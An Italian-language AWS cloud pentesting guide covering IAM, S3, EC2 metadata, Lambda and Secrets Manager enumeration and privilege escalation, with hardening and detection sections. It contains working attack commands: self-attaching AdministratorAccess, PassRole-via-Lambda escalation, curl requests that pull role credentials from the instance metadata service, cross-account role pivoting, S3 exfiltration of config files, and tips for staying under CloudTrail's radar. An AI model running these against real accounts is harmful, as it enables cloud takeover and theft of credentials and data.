AWS Cloud Pentesting: IAM, S3, EC2, IMDS e Privilege Escalation #

AWS è una delle piattaforme cloud più diffuse, e una configurazione errata di IAM, S3, EC2 o dei servizi serverless può trasformarsi in un percorso completo di privilege escalation. In un AWS cloud pentest l’obiettivo non è solo trovare risorse esposte, ma capire quali permessi possiede un’identità, quali percorsi di escalation sono disponibili e quale sarebbe il reale blast radius di una compromissione. Questa guida copre l’enumerazione e lo sfruttamento con AWS CLI nativa prima, tool esterni (Pacu, ScoutSuite, Prowler) dopo.

Quando usarla: pentest cloud autorizzato, cloud security assessment, lab HTB/CTF con componente AWS. Cosa copre: IAM, STS, S3, EC2/IMDS, Lambda, RDS, Secrets Manager, ECR, KMS. Cosa non copre: Kubernetes/EKS, Azure, GCP, deep-dive su AWS Organizations multi-account — argomenti per articoli dedicati.

Cos’è un AWS Cloud Pentest? #

Un AWS cloud pentest verifica se la configurazione effettiva dell’ambiente — IAM, S3, EC2, servizi serverless, networking — espone percorsi di accesso non previsti, oltre alle classiche vulnerabilità applicative. Può essere condotto black-box (senza credenziali, solo enumerazione di risorse pubbliche), grey-box (con credenziali a basso privilegio, per testare l’escalation) o white-box (accesso completo alla configurazione, tipico di un security assessment interno). Il filo conduttore è sempre lo stesso: identità → permessi → percorsi di escalation → blast radius.

AWS Attack Surface: Cosa Controllare #

Servizio	Cosa cercare
IAM	Policy overprivileged, trust relationship, path di privilege escalation
STS	Ruoli assumibili, sessioni temporanee, role chaining
S3	Bucket pubblici, ACL, bucket policy, permessi di scrittura
EC2	Security group troppo permissivi, IMDS, ruolo assegnato all’istanza
Lambda	Environment variable, ruolo di esecuzione, codice sorgente scaricabile
RDS	Snapshot pubblici, accesso di rete
Secrets Manager	Secret accessibili con le policy correnti
ECR	Repository pubblici, immagini con secret hardcoded
KMS	Key policy troppo permissive, accesso cross-account
Organizations	Trust cross-account
CloudTrail / GuardDuty	Cosa viene effettivamente loggato e rilevato

Setup e Installazione #

Per una guida aggiornata preferisci l’installer ufficiale AWS CLI v2 invece del pacchetto awscli via pip, che è la v1 legacy:

bash

curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
unzip awscliv2.zip
sudo ./aws/install
aws --version

aws configure
# AWS Access Key ID, Secret Access Key, region, output format

AWS Credential Discovery #

Prima di partire, verifica se hai già credenziali disponibili sul sistema che stai usando:

bash

# File di configurazione locali
cat ~/.aws/credentials
cat ~/.aws/config

# Variabili d'ambiente
env | grep '^AWS_'

Con chiavi trovate durante un pentest (file .env, repository Git, log — vedi LinEnum su HackIta per come si trovano su Linux, o Waybackurls su HackIta per trovarle in JS storici esposti pubblicamente):

bash

export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

Cerca sempre nei repository i pattern AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN.

Attenzione ai canary token #

Alcune aziende disseminano chiavi AWS finte (canary token) in repository o file di configurazione: se le usi, scatta un alert immediato al team di sicurezza. Prima di usare una chiave trovata, verifica che non sia un canary — HackTricks mantiene una pagina dedicata su come riconoscerli.

Recon Senza Rumore #

Ogni chiamata API AWS che tocca una risorsa può finire in CloudTrail — la copertura effettiva dipende però dal tipo di evento e da come CloudTrail è configurato: i management event sono loggati di default, i data event (es. accessi a singoli oggetti S3) spesso richiedono una configurazione esplicita e non sono garantiti. Non dare per scontato che tutto sia sempre tracciato, ma nemmeno il contrario.

Low-noise (safe da lanciare per primi):

sts:GetCallerIdentity, sts:GetAccessKeyInfo — nessuna azione su risorse, solo identità
s3api get-bucket-acl --no-sign-request — read-only, anonimo, non tocca il tuo account
iam:List* / iam:Get* sulla tua identità — enumerazione dei tuoi stessi permessi, comportamento atteso di qualsiasi utente

Noisy (generano alert con soglie basse):

iam__privesc_scan di Pacu — decine di chiamate iam:Simulate* in sequenza rapida, pattern riconoscibile
Scan completi ScoutSuite/Prowler — centinaia di chiamate Describe*/List* su tutti i servizi e region in pochi minuti
Tentativi di scrittura falliti ripetuti (PutObject, AttachUserPolicy) su risorse dove non hai permessi — ogni AccessDenied è loggato e un pattern ripetuto è un IOC classico

Regola pratica: enumerazione manuale mirata quando la stealth conta davvero (red team con detection in scope); tool automatico quando la copertura conta più della discrezione (assessment white-box con finestra di tempo concordata).

Enumerazione IAM #

Identificare l’identità corrente #

Primo comando, sempre, prima di toccare qualsiasi risorsa:

bash

aws sts get-caller-identity

Restituisce Account ID, ARN dell’utente/ruolo. Da qui sai se sei un IAM user, un ruolo assunto, o le chiavi di un servizio (Lambda, EC2 instance role).

Verificare se una chiave trovata è ancora attiva (senza toccare risorse) #

bash

aws sts get-access-key-info --access-key-id AKIA1234567890123456

Restituisce l’Account ID associato alla chiave senza fare nessuna azione loggata come “sospetta” — utile per validare una chiave trovata durante un OSINT/recon prima di usarla per davvero.

Enumerare utenti, ruoli e gruppi #

bash

aws iam list-users
aws iam list-roles
aws iam list-groups
aws iam get-account-authorization-details

get-account-authorization-details in un colpo solo scarica utenti, ruoli, gruppi e policy — utile per un’analisi offline delle relazioni di trust senza continuare a interrogare l’API.

Analizzare le policy IAM #

bash

aws iam list-attached-user-policies --user-name current-user
aws iam list-user-policies --user-name current-user
aws iam get-policy-version --policy-arn <policy-arn> --version-id v1

Questo ti dice esattamente cosa puoi fare prima di generare rumore nei log CloudTrail con richieste a caso.

AWS STS e AssumeRole #

STS (Security Token Service) emette credenziali temporanee quando un’identità assume un ruolo. È il meccanismo alla base di gran parte del cross-account access e di molte catene di privilege escalation:

text

Identità A → sts:AssumeRole → Role B → permessi di Role B (credenziali temporanee)

bash

aws sts assume-role --role-arn arn:aws:iam::ACCOUNT_ID:role/NOME-RUOLO --role-session-name pentest-session

Un ruolo è assumibile solo se la sua trust policy lo permette esplicitamente alla tua identità (o a un principal più ampio, come l’intero account). Vale la pena leggere sempre la trust policy di ogni ruolo interessante, non solo le sue permission policy — a volte l’escalation passa da lì, non dai permessi diretti.

Cercare privilege escalation IAM #

Esistono oltre 20 path noti di escalation IAM (policy che permettono di modificare le proprie policy, creare nuove access key per altri utenti, passare ruoli con permessi maggiori). Tool dedicato:

bash

git clone https://github.com/RhinoSecurityLabs/pacu.git
cd pacu
python3 pacu.py
Pacu (session_name) > run iam__privesc_scan

iam__privesc_scan testa in automatico tutte le combinazioni di permessi note per l’escalation, sull’identità corrente.

Le escalation path più comuni #

Permesso	Possibile impatto
`iam:AttachUserPolicy`	ti attacchi da solo una policy managed più privilegiata
`iam:PutUserPolicy`	stessa idea, con una policy inline invece che managed
`iam:CreateAccessKey`	crei una nuova access key per un altro utente più privilegiato
`iam:PassRole` + un servizio che esegue codice (Lambda, EC2, Glue, CloudFormation)	passi un ruolo con più privilegi a una risorsa che controlli
`iam:UpdateLoginProfile`	resetti la password console di un altro utente
`sts:AssumeRole` su un ruolo fidato	accedi direttamente ai permessi di quel ruolo

bash

# Esempio: sfruttare AttachUserPolicy su se stessi
aws iam attach-user-policy --user-name mio-utente --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

bash

# Esempio: PassRole + Lambda per eseguire codice con un ruolo più privilegiato
aws lambda create-function --function-name privesc \
  --runtime python3.12 --role arn:aws:iam::ACCOUNT_ID:role/RUOLO-PIU-PRIVILEGIATO \
  --handler lambda_function.lambda_handler --zip-file fileb://function.zip
aws lambda invoke --function-name privesc output.json

Mappare le relazioni di trust in automatico #

bash

pip3 install principalmapper --break-system-packages
pmapper graph create
pmapper graph display
pmapper query "who can do iam:AttachUserPolicy"

PMapper costruisce un grafo di tutti gli utenti/ruoli e mostra i percorsi di escalation non ovvi — utile quando iam__privesc_scan non basta perché l’escalation passa da più step (assume-role a catena).

S3: Enumerazione e Sfruttamento #

ACL vs Bucket Policy #

Un bucket S3 può essere reso pubblico in più modi indipendenti: una ACL (permessi legacy a livello di oggetto/bucket), una bucket policy (JSON policy a livello di bucket, il meccanismo moderno e più granulare) o l’assenza di S3 Block Public Access a livello di account. Verificarne solo uno non basta — un bucket può avere una bucket policy restrittiva ma un’ACL permissiva su singoli oggetti, o viceversa.

Trovare i bucket #

bash

aws s3 ls
aws s3 ls s3://nome-bucket-scoperto --recursive

Se non hai credenziali, i bucket S3 pubblici si trovano per nome (spesso pattern azienda-backup, azienda-assets, azienda-prod):

bash

git clone https://github.com/initstring/cloud_enum.git
cd cloud_enum
python3 cloud_enum.py -k targetcorp --disable-azure --disable-gcp

Verificare permessi senza autenticazione #

bash

aws s3api get-bucket-acl --bucket nome-bucket --no-sign-request
aws s3api get-object-acl --bucket nome-bucket --key file.txt --no-sign-request
aws s3api get-bucket-policy --bucket nome-bucket --no-sign-request

--no-sign-request prova ad accedere in anonimo — se il bucket è pubblico, funziona senza alcuna chiave.

Verifica bulk su lista di bucket #

bash

for bucket in $(cat buckets.txt); do
  echo "--- $bucket ---"
  aws s3api get-bucket-acl --bucket "$bucket" --no-sign-request 2>/dev/null
  aws s3 ls s3://"$bucket" --recursive --no-sign-request 2>/dev/null
done

Bucket scrivibile — upload di verifica (PoC, non distruttivo) #

bash

echo "PoC bucket scrivibile - HackIta" > poc.txt
aws s3 cp poc.txt s3://nome-bucket/poc.txt --no-sign-request

Se l’upload riesce su un bucket pubblico, è un finding critico: un attaccante può ospitare malware o sovrascrivere file legittimi.

Scanner dedicato su larga scala #

bash

python3 -m S3Scanner --threads 8 scan --buckets-file bucket-names.txt

S3 come vettore di privesc, non solo di data leak #

Se hai s3:PutBucketPolicy su un bucket usato da altri servizi (es. bucket di CloudFormation template, bucket con user-data di EC2), puoi dirottare quel servizio modificando la policy invece di limitarti a leggere i dati:

bash

aws s3api put-bucket-policy --bucket nome-bucket --policy file://policy.json

Caso concreto: se un’istanza EC2 carica il proprio user-data da un bucket S3 che puoi scrivere, sostituisci il contenuto con codice arbitrario — l’istanza lo eseguirà al prossimo riavvio con i privilegi del suo ruolo IAM.

EC2: Security Group, IMDS e Ruoli #

Security Group Enumeration #

bash

aws ec2 describe-security-groups --region us-east-1

Cosa cercare nell’output:

regole in ingresso da 0.0.0.0/0 (aperte a tutto internet)
SSH (22) o RDP (3389) esposti pubblicamente
porte database esposte (3306 MySQL, 5432 PostgreSQL, 27017 MongoDB, 6379 Redis)
regole applicative più ampie del necessario (un’intera subnet invece del singolo host che dovrebbe accedere)

IMDS (Instance Metadata Service) #

Se hai una shell su un’istanza EC2 (via SSRF su un’app web, o accesso diretto), il vero obiettivo sono le credenziali temporanee del ruolo IAM assegnato all’istanza.

IMDSv1 — nessuna autenticazione richiesta:

bash

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/NOME-RUOLO

Il secondo comando restituisce AccessKeyId, SecretAccessKey e Token in chiaro — usali direttamente:

bash

export AWS_ACCESS_KEY_ID=<valore>
export AWS_SECRET_ACCESS_KEY=<valore>
export AWS_SESSION_TOKEN=<valore>
aws sts get-caller-identity

IMDSv2 — richiede un token, riduce ma non elimina il rischio:

bash

TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/NOME-RUOLO

IMDSv2 riduce il rischio di SSRF verso il metadata service perché richiede un token ottenuto tramite una richiesta PUT con header specifico — un semplice redirect SSRF non basta più. Ma una vulnerabilità SSRF sufficientemente potente (capace di impostare header custom e metodo PUT) può ancora arrivare a IMDS. Questo è esattamente il pattern dietro la breach Capital One 2019: SSRF in un’app web → accesso a IMDS → credenziali IAM → esfiltrazione S3. Il riferimento SSRF è approfondito in HTTP e HTTPS su HackIta.

Enumerazione EC2 con credenziali valide #

bash

aws ec2 describe-instances --region us-east-1
aws ec2 describe-instances --region us-east-1 --query 'Reservations[].Instances[].[InstanceId,PublicIpAddress,SecurityGroups]'

Lambda, RDS e Secrets #

Lambda #

bash

aws lambda list-functions --region us-east-1
aws lambda get-function --function-name NOME-FUNZIONE --region us-east-1

get-function restituisce un URL presigned per scaricare il codice sorgente della funzione — spesso contiene chiavi hardcoded o logica di business interna.

bash

aws lambda get-function-configuration --function-name NOME-FUNZIONE --region us-east-1

Da questo comando controlla: environment variable (spesso contengono secret), ruolo di esecuzione assegnato, VPC di appartenenza, layer usati, runtime, timeout e memoria — ognuno di questi può rivelare un vettore aggiuntivo.

RDS #

bash

aws rds describe-db-instances --region us-east-1
aws rds describe-db-snapshots --region us-east-1 --query 'DBSnapshots[?Attributes[?AttributeName==`restore`]]'

Snapshot RDS pubblici sono un finding comune quanto i bucket S3 pubblici.

Secrets Manager #

bash

aws secretsmanager list-secrets --region us-east-1
aws secretsmanager get-secret-value --secret-id NOME-SECRET --region us-east-1

ECR e KMS #

ECR (Elastic Container Registry) #

bash

aws ecr describe-repositories --region us-east-1
aws ecr list-images --repository-name NOME-REPO --region us-east-1

Controlla: repository con policy pubblica, immagini obsolete con vulnerabilità note, secret hardcoded nei layer dell’immagine, permessi IAM sui repository più ampi del necessario.

KMS #

bash

aws kms list-keys --region us-east-1
aws kms get-key-policy --key-id KEY-ID --policy-name default --region us-east-1

Controlla: key policy troppo permissive, permesso kms:Decrypt concesso a principal ampi, accesso cross-account non necessario. Una key policy permissiva rende inutile qualsiasi altra protezione su dati cifrati con quella chiave — chi può decifrare, in pratica accede al dato.

Scansione Automatizzata Completa #

Manuale copre quello che sai cercare. Automatizzato copre quello che non sai di dover cercare.

bash

pip install scoutsuite --break-system-packages
scout aws --profile default

ScoutSuite è principalmente uno strumento di security auditing: interroga le API AWS, raccoglie le configurazioni di ogni servizio (IAM, S3, EC2, RDS, Lambda) e le presenta in un report HTML con severità delle misconfiguration trovate. Non è un exploitation framework come Pacu — serve a mappare, non a sfruttare.

bash

pip install prowler --break-system-packages
prowler aws

Prowler copre anche compliance (CIS Benchmark, PCI-DSS, SOC2) oltre alle misconfiguration pure.

Post-Exploitation: Cosa Fare Dopo il Primo Accesso #

Trovare una chiave o un’escalation è l’inizio, non la fine. Il valore vero sta nel capire il blast radius.

Cerca altri account/ruoli fidati:

bash

aws organizations list-accounts
aws sts assume-role --role-arn arn:aws:iam::ALTRO-ACCOUNT-ID:role/OrganizationAccountAccessRole --role-session-name pivot

Se l’account fa parte di un’Organization, un ruolo cross-account mal configurato ti sposta su un intero altro ambiente.

Estrai dati in modo controllato (non un dump indiscriminato):

bash

aws s3 sync s3://bucket-target ./evidenza-locale --exclude "*" --include "*.env" --include "*.config"

Per un report professionale: prendi solo i file che dimostrano l’impatto (config con credenziali, dati PII di esempio), non l’intero bucket — meno rumore, meno rischio, prova sufficiente.

Capisci il blast radius prima di scrivere il report:

bash

aws iam simulate-principal-policy --policy-source-arn <arn-utente-compromesso> --action-names s3:DeleteBucket iam:DeleteUser ec2:TerminateInstances

simulate-principal-policy ti dice cosa quell’identità potrebbe fare, senza eseguirlo davvero — la differenza tra “ho letto un file” e “questo account poteva cancellare l’intera infrastruttura” è quello che rende un finding critico o medio nel report.

Validare un Finding Prima di Scriverlo nel Report #

Ogni finding va confermato con una prova pratica, non solo ipotizzato:

Finding	Come confermarlo
Bucket S3 pubblico	ACL/policy che lo dice + listing riuscito + tentativo di upload (PoC non distruttivo)
Policy IAM overprivileged	non fermarti alla policy scritta — esegui davvero l’azione sospetta (es. `attach-user-policy`) e verifica che passi
IMDS esposto	recupera il ruolo e verifica che il token ottenuto funzioni con `sts get-caller-identity`
Secret esposto	recupera il valore e conferma che sia ancora valido/in uso, non un secret ruotato o dismesso

Un finding “teorico” (la policy sembra permissiva) vale molto meno di un finding “dimostrato” (ho eseguito l’azione e ha funzionato) in un report che deve convincere un cliente a investire nella remediation.

Errori Comuni e Cosa Fare #

Errore	Significato	Cosa controllare
`AccessDenied`	autenticato ma senza permessi	verifica la policy con `simulate-principal-policy` prima di riprovare a caso
`NoSuchBucket`	il bucket non esiste con quel nome/region	controlla region esatta, i bucket S3 sono globali nel nome ma l’endpoint è regionale
`InvalidClientTokenId`	Access Key ID non valida o eliminata	la chiave è stata ruotata/revocata, richiedine una nuova
`SignatureDoesNotMatch`	Secret Key errata o clock desincronizzato	controlla l’orario di sistema (`date`), spesso è quello il problema
`UnauthorizedAccess`	policy esplicita di Deny	un Deny esplicito vince sempre su un Allow, cerca chi lo applica (SCP o policy diretta)
`Throttling`	rate limit AWS	rallenta le richieste, aggiungi retry con backoff
`ExpiredToken`	sessione STS/IMDS scaduta	rigenera il token, le credenziali IMDS durano tipicamente 6 ore

AWS Pentest Detection: CloudTrail e GuardDuty #

Attività	Telemetria tipica
Enumerazione IAM	CloudTrail (management event)
`AssumeRole`	CloudTrail
Accesso a oggetti S3	CloudTrail data event, solo se abilitati esplicitamente
Invocazione Lambda	CloudTrail e log applicativi
Enumerazione API EC2	CloudTrail
Privilege escalation	CloudTrail
Accesso a IMDS	telemetria a livello host/applicativo, non CloudTrail

GuardDuty analizza questi log e correla pattern anomali (chiamate da IP inusuali, tentativi di escalation, uso di credenziali IMDS da fuori l’istanza prevista) — ma la sua efficacia dipende da cosa CloudTrail ha effettivamente registrato a monte.

Hardening Rapido (Lato Difensivo) #

Least privilege ovunque — policy scritte per azione specifica, mai wildcard *:*
IMDSv2 obbligatorio (HttpTokens: required) su ogni istanza EC2
S3 Block Public Access attivo a livello di account, non solo di singolo bucket
CloudTrail multi-region + GuardDuty sempre attivi, con data event abilitati sui bucket critici
MFA condition (aws:MultiFactorAuthPresent) su azioni distruttive o sensibili
Permission boundary / SCP per limitare il danno massimo anche se una policy IAM è sbagliata

Limitazioni e Cosa Può Bloccarti #

CloudTrail → logga management event di default; i data event (accessi granulari a S3/Lambda) vanno abilitati esplicitamente e non sono garantiti
GuardDuty → rileva pattern anomali, ma solo su quanto CloudTrail e gli altri log sorgente gli forniscono
IMDSv2 obbligatorio (HttpTokens: required) → il classico curl senza token non funziona più, serve comunque un SSRF capace di settare header custom
SCP (Service Control Policies) a livello di Organization → possono bloccare azioni anche se la policy IAM locale le permetterebbe
MFA condition su azioni sensibili → alcune policy richiedono aws:MultiFactorAuthPresent: true, le chiavi statiche rubate non bastano

Workflow Operativo #

text

Chiavi trovate (repo, log, .env) o accesso a un'istanza EC2
      ↓
aws sts get-caller-identity
      ↓
Enumerazione IAM (permessi correnti, trust relationship)
      ↓
S3 / EC2 / Lambda / RDS / ECR / KMS enumeration
      ↓
ScoutSuite / Prowler (scan automatico)
      ↓
Pacu iam__privesc_scan / PMapper
      ↓
Escalation privilegi IAM / AssumeRole cross-account
      ↓
Accesso a dati sensibili / lateral movement

MITRE ATT&CK (Cloud Matrix) #

Tattica	Tecnica
Credential Access	T1552.005 — Cloud Instance Metadata API
Discovery	T1580 — Cloud Infrastructure Discovery
Privilege Escalation	T1078.004 — Valid Accounts: Cloud Accounts
Collection	T1530 — Data from Cloud Storage
Initial Access	T1190 — Exploit Public-Facing Application (SSRF → IMDS)

Matrice completa: MITRE ATT&CK Cloud

Checklist Operativa #

text

[ ] aws sts get-caller-identity — sapere chi sei prima di tutto
[ ] Credenziali locali (~/.aws, env AWS_*) verificate
[ ] Enumerazione IAM — policy, ruoli, trust relationship, AssumeRole
[ ] Pacu iam__privesc_scan / PMapper — cercare path di escalation noti
[ ] S3: bucket pubblici, ACL, bucket policy, permessi di scrittura
[ ] EC2: security group, IMDSv1/v2, credenziali del ruolo istanza
[ ] Lambda: codice sorgente, environment variable, ruolo di esecuzione
[ ] RDS: snapshot pubblici
[ ] Secrets Manager: secret accessibili con le policy correnti
[ ] ECR/KMS: repository e key policy
[ ] ScoutSuite / Prowler per la vista d'insieme
[ ] Verifica CloudTrail/GuardDuty se il test richiede stealth

FAQ #

Serve sempre una chiave AWS per iniziare un pentest cloud? No. Molti bucket S3 sono accessibili in anonimo con --no-sign-request, e un SSRF su un’app in EC2 può darti credenziali temporanee via IMDS senza che tu abbia mai avuto una chiave.

Pacu è legale da usare? Sì, è un framework open source pensato per assessment autorizzati. Come ogni tool offensivo, va usato solo su account AWS di tua proprietà o con autorizzazione scritta esplicita.

IMDSv2 rende l’account immune da furto di credenziali? No, riduce la superficie (serve un SSRF capace di impostare header custom e metodo PUT, non basta un redirect semplice) ma non elimina il rischio. Va sempre combinato con IAM least privilege.

Qual è il primo comando da lanciare sempre, senza eccezioni? aws sts get-caller-identity. Prima di ogni azione, sapere esattamente chi sei e con quale account stai operando.

Che differenza c’è tra ScoutSuite e Pacu? ScoutSuite è un tool di security auditing, mappa le configurazioni e le misconfigurazioni. Pacu è un framework di exploitation attivo, prova a sfruttarle. Si usano in sequenza: prima ScoutSuite per la vista d’insieme, poi Pacu per validare i path di escalation.

Cos’è la privilege escalation IAM? L’uso di permessi IAM legittimi ma mal configurati (come iam:AttachUserPolicy o iam:PassRole) per ottenere permessi maggiori di quelli previsti, senza sfruttare una vulnerabilità nel senso classico.

Come verifico se un bucket S3 è pubblico? Controllando ACL, bucket policy e impostazione di S3 Block Public Access — nessuno dei tre da solo dà la risposta completa, vanno controllati insieme.

Cos’è IMDSv2? La versione del metadata service EC2 che richiede un token ottenuto con una richiesta PUT prima di poter leggere le credenziali del ruolo — riduce ma non elimina il rischio SSRF verso IMDS.

Come verifico i permessi di una chiave AWS compromessa? Con aws sts get-caller-identity per l’identità, poi iam:List*/iam:Get* sulle sue policy, e iam simulate-principal-policy per capire cosa può fare realmente senza eseguirlo.

Documentazione ufficiale: AWS Security Best Practices. Per la fase SSRF che porta a IMDS, vedi HTTP e HTTPS su HackIta e Tool Penetration Testing su HackIta.

#aws #cloud-security #iam #s3